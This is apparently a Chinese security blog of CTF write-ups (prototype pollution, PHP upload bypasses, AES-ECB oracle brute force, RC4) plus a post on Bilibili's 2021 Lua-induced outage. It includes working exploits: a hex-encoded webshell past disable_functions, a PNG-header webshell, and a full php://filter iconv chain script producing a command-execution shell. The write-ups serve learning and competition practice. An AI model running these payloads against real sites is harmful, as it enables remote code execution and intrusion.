查看源码 可用 MD5爆破将secret爆破出 为abcdefg

from hashlib import sha256,md5
x = '1946714cfa9deb70cc40bab32872f98a'
n = b'flag'
s = list('abcdefghijklmnopqrstuvwxyz'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
    d = ''.join(i).encode()
    g = d+n
    m=md5(g).hexdigest()

    if m == x:
        print(d)
        break

可得admin的cookie ed63246fb602056fee4a7ec886d0a3c2

将其填入hash 可跳转得到源码

var express = require('express');
var router = express.Router();

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});

router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});

module.exports = router;

merge的原型链污染 直接打

id={"aaa":1,"__proto__":{"flag":"flag"}}

image

可得flag

ezupload

先上传一个phpinfo查看细节:

image

发现 disable_functions ​被过滤了很多,尝试绕过。

和mysql里写shell一样,16进制,8进制,Unicode编码都可以,这里选择的是hex编码:

image

<?php echo "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"("index.php");?>

额虽然没读取到,但是说明命令执行成功了

image

然后就是利用glob://​尝试获取根目录flag位置:

PHP使用DirectoryIterator遍历指定目录下的所有文件-PHP基础-自如初个人博客 (ziruchu.com)

image

 <?php new DirectoryIterator("glob:///fl*");?>

转一个16进制,然后获取这个文件就行

image

file_get_contents("/fl1111111111ag")

MISC

GumpKing

直接CE改分就行

little_thief

流量包提取压缩包文件:

image

在流量记录里可以找到POST提交的流量,里面有jwt,解密:

image

image

得到密码,解压后得到flag.html

打开后里面是在线编辑器生成的,怀疑有隐写,wbStego4.3open.exe打开,不知道密码,尝试无密码获取

image

image

CRYPTO

Cry1

import string
import hashlib
a="JmxeKr3R4zh6CXZc"
encode1="3ed373143ba9844885a3fff7afd3f7eec9982bd9be51c642314855cc015da3da"
str=string.ascii_letters+string.digits
for i1 in str:
    for i2 in str:
        for i3 in str:
            for i4 in str:
                plain=i1+i2+i3+i4+a
                encode=hashlib.sha256(plain.encode()).hexdigest()
                if encode==encode1:
                    print(i1+i2+i3+i4)
#Tg4N

猜了无数次,服了

dcee4f4aead936232e409d7518778ab

Cry2

上来还是常规的加盐爆破,不说了

先用本地,弄清了一下原理

就是用flag2作为key,加密了flag1+imessage+flag2

nc之后随便敲个空格就能拿到flag1+flag2的密文,关键是key

没啥好办法,只能一位一位爆破了

from pwn import *
from Crypto.Util.number import *
import gmpy2
import string
import itertools
from tqdm import tqdm
import hashlib
from tqdm import tqdm
from Crypto.Cipher import AES
table = string.ascii_letters + string.digits
# context(log_level = 'debug')
ip = '120.78.131.38'
port = 10086
r = remote(ip,port)
def proof():
    r.recvuntil(b'SHA256(XXXX')
    a = r.recvline()[:-1].decode()
    tmp = a[a.find(' + ') + 3:a.find(')')]
    aim = a[a.find(':') + 1:]
    for i in itertools.product(table,repeat=4):
        ans = ''.join(i)
        if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim:
            print(ans)
            r.recvuntil(b'Give Me XXXX:\n')
            r.sendline(ans.encode())
            return

proof()
flag2 = ''
for i in tqdm(range(1,16)):
    for t in table:
        tmp = '0' * 8 + '0' * (16 - i) + flag2 + t + '0' * (16 - i)
        # print(payload)
        r.recvuntil(b'You can input anything:\n')
        r.send(tmp.encode())
        r.recvuntil(b"Here is your cipher: b'")
        cipher = r.recvuntil(b"'")[:-1]
        # print(cipher)
        p = [cipher[i : i + 32] for i in range(0,len(cipher),32)]
        if p[1] == p[2]:
            flag2 += t
            print(fleg)
            break
flag2 += '}'
key = flag2.encode()
print(key)
r.interactive()

9d30601ed8af0f7cb9f55212ce3e005

最后一个AES解密解决战斗

table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def pad( message):
    if len(message) % 16 != 0:
        return message.ljust((len(message) // 16 + 1) * 16, '0').encode()
    else:
        return message.encode()
def encrypt( key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.encrypt(message)
def decrypt( key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.decrypt(message)
from Crypto.Cipher import AES
from Crypto.Util.number import *
c=0x68e05ae1ed73ec29526b7f4ec7e025cfa162a7f20d8401a05a45c67fd6dbc180
c=long_to_bytes(c)
def decrypt(key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.decrypt(message)
key='IDl8FuWPu01RHZt}'
print(decrypt(key.encode(),c))
#b'D0g3{o7sIDl8FuWPu01RHZt}00000000'

REVERSE

reee

32位,打开题目跟进函数找到加密逻辑,发现没有编译成函数

a1fda9996f396c28e79749b4b2f91e6

编译成函数后,简单分析发现是RC4,密文和key已知,在线网站解密即可

D0g3{This_15_FindWind0w}

诡计多端的’0′ | B站事故报告

B站事故报告:2021.07.13 我们是这样崩的

2021年的7月13日,正在看小姐姐跳舞的fake_soul突然发现B站视频卡住了,急得他马上提上了裤子。

过了一会,每个群里传来不一样的瓜:“B站大楼爆炸了”、“上海云服务中心起火”、“小破站程序员因不满工作删库跑路”。。。

说实话很惭愧,B站的事故报告在今年7月就发布了,被cue了好几个月装死,到现在才去认真看,呜呜呜~~~

看了看网上很多师傅发出来的分析,“震惊!B站崩溃竟是因为诡计多端的'0'!

诡计多端的0

我们直接步入正题,事故报告已经发出了关键代码:

local _gcd
_gcd = function(a,b)
    if b == 0 then
        return a
    end

    return _gcd(b,a % b)
end
  • 这是一段嵌入在B站Nginx服务器的 lua 代码(一种轻量级脚本语言,有着更简单的 C API 所以很容易嵌入应用中,来实现可配置性、可扩展性)

结合事故报告,lua有几个特点:

  • Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。

  • Lua在对一个数字字符串进行算术操作时,会尝试将这个数字字符串转成一个数字。

  • 在Lua语言中,数学运算n % 0的结果是nan (Not A Number)

好了,学过一点点编程的家人应该能明白,这个地方的_gcd函数,是在利用辗转相除来计算ab的最大公约数

举个例子,我们对ab赋值,令a = 12 b=8,按照上面的逻辑,a 除以 b,余数是4,不为0,进入后面的递归处理, a=8b=4,此时再进行相除,余数为0,说明4是ab的最大公约数。

这样的话就满足了判定条件:

    if b == 0 then
        return a
    end

就结束了运算

乍一看,很合理啊很合理🤔因为也不是什么很复杂运算~

但问题就出在这里,上面我们有提到:

Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。

所以,如何打破这个运算,让其崩溃呢?

结合上面这句话,有聪明的同学已经猜到了:我们让b为字符串"0",这样不就好了吗?

这里我们再看一下这个lua函数,解释下为什么:

local _gcd
_gcd = function(a,b)
    if b == 0 then
        return a
    end

    return _gcd(b,a % b)
end
  1. 当b为字符串的"0",由于_gcd函数没有对b的类型进行校验,所以_gcd就出现了对 "0" 与 0进行判断,但是此时,"0" != 0!=:不等于),所以进入return _gcd(b,a % b)
    哎,上面我们说了:在Lua语言中,数学运算n % 0的结果是nan (Not A Number)
    此时,现在返回结果是_gcd("0",nan)b="0"a=nan
  2. _gcd("0",nan)会再次执行,返回值是 _gcd(nan,nan)b=nana=nan
  3. 此时依旧满足nan != 0,所以继续进入return _gcd(b,a % b),即 _gcd(nan,nan),和上一步的流程是重复的,死循环不就出现了嘛

这样,整个流程是不是很清晰了,由于一直陷入死循环,Bilibili的Nginx服务器进程就跑满了,占到了100%,就处理不了其他进程了。。。

image

好了,那么现在的问题:如何让 b 为字符串格式的 "0" 呢

来自小破站的官方回复:

  • 在某种发布模式中,应用的实例权重会短暂的调整为0,此时注册中心返回给SLB的权重是字符串类型的"0"。此发布模式只有生产环境会用到,同时使用的频率极低,在SLB前期灰度过程中未触发此问题。

  • SLB 在balance_by_lua阶段,会将共享内存中保存的服务IP、Port、Weight 作为参数传给lua-resty-balancer模块用于选择upstream server,在节点 weight = "0" 时,balancer 模块中的 _gcd 函数收到的入参 b 可能为 "0"

看不懂是吧,没事,我也没看懂,嘿嘿 😛

image

时间线

事故发生

2021年7月13日22:52 SRE收到大量服务和域名的接入层不可用报警,客服侧开始收到大量用户反馈B站无法使用,同时内部同学也反馈B站无法打开,甚至APP首页也无法打开。基于报警内容,SRE第一时间怀疑机房、网络、四层LB、七层SLB等基础设施出现问题,紧急发起语音会议,拉各团队相关人员开始紧急处理。

紧急修复

5分钟后,运维同学发现承载全部在线业务的主机房七层SLB的 CPU占用率达到了100% ,无法处理用户请求,排除其他设施后,锁定故障为该层。

22:55 远程在家的相关同学登陆VPN后,无法登陆内网鉴权系统(B站内部系统有统一鉴权,需要先获取登录态后才可登陆其他内部系统,和校园内网一样),导致无法打开内部系统,无法及时查看监控、日志来定位问题。

23:07 远程在家的同学紧急联系负责VPN和内网鉴权系统的同学后,了解可通过绿色通道登录到内网系统。

这个地方我盲猜是有后门(doge)

此时已经过去了 25分钟 ,抢修正式开始。(莫名有点燃是怎么回事🤔)

  1. 首先,运维同学先热重启了一遍SLB,未恢复;然后尝试拒绝用户流量冷重启SLB,CPU依然100%,还是未恢复。

  2. 接着,运维发现多活机房SLB请求大量超时,但CPU未过载,正准备重启多活机房SLB时,内部群反应主站服务已恢复。

此时:23:23 距离事故发生已经过去31分钟,这个时候大家可能就遇到了视频是能看,但是部分功能依旧不可用,比如收藏、投币啥的。

image

官方事故报告在文章最后说到 高可用容灾架构 生效了,其实就是说的这个主站业务恢复。这个架构可以理解为是一种应急预案,就是为了防止这种突发情况发生而设计的。

提上裤子的fake_soul同学很气,问:为什么过去了半个多小时了,这个预警才发挥作用???我裤子不是白脱了吗???

这个其实不怨B站,由于点不开B站大家就开始疯狂上拉刷新,而此时B站的CDN流量回源重试 + 用户重试,直接让B站流量突增4倍以上,连接数突增100倍到了千万级别,多活SLB直接就给整过载了。。。别说架构发挥作用了,就算陈叔叔自己来了也得在这傻楞。。。

image

23:25 - 23:55 未恢复的业务暂无其他立即有效的止损预案,此时尝试恢复主机房的SLB。

  • 我们通过Perf发现SLB CPU热点集中在Lua函数上,怀疑跟最近上线的Lua代码有关,开始尝试回滚最近上线的Lua代码。

  • 近期SLB配合安全同学上线了自研Lua版本的WAF,怀疑CPU热点跟此有关,尝试去掉WAF后重启SLB,SLB未恢复。

  • SLB两周前优化了Nginx在balance_by_lua阶段的重试逻辑,避免请求重试时请求到上一次的不可用节点,此处有一个最多10次的循环逻辑,怀疑此处有性能热点,尝试回滚后重启SLB,未恢复。

  • SLB一周前上线灰度了对 HTTP2 协议的支持,尝试去掉 H2 协议相关的配置并重启SLB,未恢复。

新建源站

00:00  SLB运维尝试回滚相关配置依旧无法恢复SLB后,决定重建一组全新的SLB集群,让CDN把故障业务公网流量调度过来,通过流量隔离观察业务能否恢复。

00:20  SLB新集群初始化完成,开始配置四层LB和公网IP。

01:00  SLB新集群初始化和测试全部完成,CDN开始切量。SLB运维继续排查CPU 100%的问题,切量由业务SRE同学协助。

01:18  直播业务流量切换到SLB新集群,直播业务恢复正常。

01:40  主站、电商、漫画、支付等核心业务陆续切换到SLB新集群,业务恢复。

01:50  此时在线业务基本全部恢复

后话

谁能想到,B站运维就两个同学,痛!太痛了!但是这个排查速度真的挺快了,B站还是人才济济的。

后来由于本次事故实在是耽误了太久、太多事儿,因此B站给所有用户补了一天大会员。

有人就在此算了一笔账,这7行代码,让陈叔叔一下亏了大约157500000元。

image

Living off the Land 2 RCE

白嫖了陈师傅3天的漏洞百出,真香~

看到Y4tacker师傅在陈师傅的知识星球发了一张图片:

image

<h1>Update profile picture</h1>
<p>
    Change you profile picture to any PNG you like!
    Just add ?image=LINK to the url.
    Your picture will now show on the page!
</p>
<?php

//Get the image
$image_url = $_GET['image'];
$image = file_get_contents($image_url);

//Temporarily save the image
$tmpfile = tmpfile();
fwtite($tmpfile,$image);
$tmpfile_name = stream_get_meta_data($tmpfile)['uri'];

//Make sure the image is really an image
$image_details = getimagesize($tmpfile_name);
if ($image_details) {
    saveImage($user_uuid . '.png',$iamge);
    echo '<img src="' . $user_uuid . '.png" width=100>';
} else {
    echo 'That doesn\'t look loike an image to me!';
}
?>

Y4师傅发出来的时候已经做出了解答。

在这个题目里中,对文件进行检测时使用了getimagesize函数,如果指定的文件如果不是有效的图像,会返回 false,返回数据中也有表示文档类型的字段。但是仅仅通过getimagesize进行验证其实并不安全,有留下webshell的隐患

getimagesize函数源码进行分析,重点注意两个函数:php_getimagesize_from_streamphp_getimagesizetype

php_getimagesize_from_stream负责最终处理:

static void php_getimagesize_from_stream(php_stream *stream, zval **info, INTERNAL_FUNCTION_PARAMETERS)
{
    ...
    itype = php_getimagetype(stream, NULL TSRMLS_CC);
    switch( itype) {
        ...
    }
    ...
}

static void php_getimagesize_from_any(INTERNAL_FUNCTION_PARAMETERS, int mode) {
    ...
    php_getimagesize_from_stream(stream, info, INTERNAL_FUNCTION_PARAM_PASSTHRU);
    php_stream_close(stream);
}

PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}

php_getimagetype负责文件类型的判断:

PHPAPI int php_getimagetype(php_stream * stream, char *filetype TSRMLS_DC)
{
    ...
    if (!memcmp(filetype, php_sig_gif, 3)) {
        return IMAGE_FILETYPE_GIF;
    } else if (!memcmp(filetype, php_sig_jpg, 3)) {
        return IMAGE_FILETYPE_JPEG;
    } else if (!memcmp(filetype, php_sig_png, 3)) {
        ...
    }
}

Y4师傅也提到了,在php中getimagesize的校验实现其实就是判断前几个字节php_sig_gif php_sig_png 等是在文件头部定义的

PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
...
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
                                    (char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};

(再借用Y4师傅的图片)

image

所以往下的绕过方法分为两种

  • 在PHP文件的 HEX编码 前添加 PNG 文件的头字节,

image

保存为php文件然后上传。

<?php
print_r(getimagesize('test.php'));
/*Array
(
    [0] => 1885957734
    [1] => 1864902971
    [2] => 3
    [3] => width="1885957734" height="1864902971"
    [bits] => 32
    [mime] => image/png
)*/

成功读取出来,并且文件也被正常识别为 PNG 文件,虽然宽和高的值都大的有点离谱。

<?php
print_r(token_get_all(file_get_contents('test.php')));

如果显示正常的话你能看到输出数组的第一个元素的解析器代号是 312,通过 token_name 获取到的名称会是 T_INLINE_HTML,也就是说文件头部的信息被当成正常的内嵌的 HTML 代码被忽略掉了。

至于为什么会有一个大的离谱的宽和高,看一下 php_handle_png 函数的实现就能知道,这些信息也是通过读取特定的文件头的位来获取的。

  • 编码转换后能符合特定规则+php://filter进行文件读取

image

巧用编码来绕过,P牛在谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)中编码与解码,利用php base64_decode解码特性处理死亡exit就用到了这个知识点,两者有异曲同工之妙,hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)陆队的文章也有很详细的介绍了。

之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。

再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。

比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:

include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"

同理,也可以得到更多的字符,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT (github.com)wupco师傅基本找出来了所有的数字和字母。

陆队最终利用的是:

<?=`$_GET[0]`;;?>
//PD89YCRfR0VUWzBdYDs7Pz4=
<?php
highlight_file(__FILE__);
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4=";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

至于需要把$base64_payload反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR来生成\x1b$)C然后进行利用,还不能影响后面已经产生的字符。

至于convert.iconv.UTF8.UTF7单纯的防止=的干扰。

个人觉得可能对于字符集有一定的要求,不同的环境似乎有的字符集不存在导致了POC打不通,或许更近一步fuzz的话可能能得到更为通用的字符集构造的POC。

其实,看到这个的时候,感觉有一丝丝的眼熟,今年的羊城杯:

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}
if(fliter($_SERVER["QUERY_STRING"])) {
    include $file;
}else {
    die("Noooo0");
}

在原先的基础上加了一个黑名单,上面的payload加一个url_encode就能通了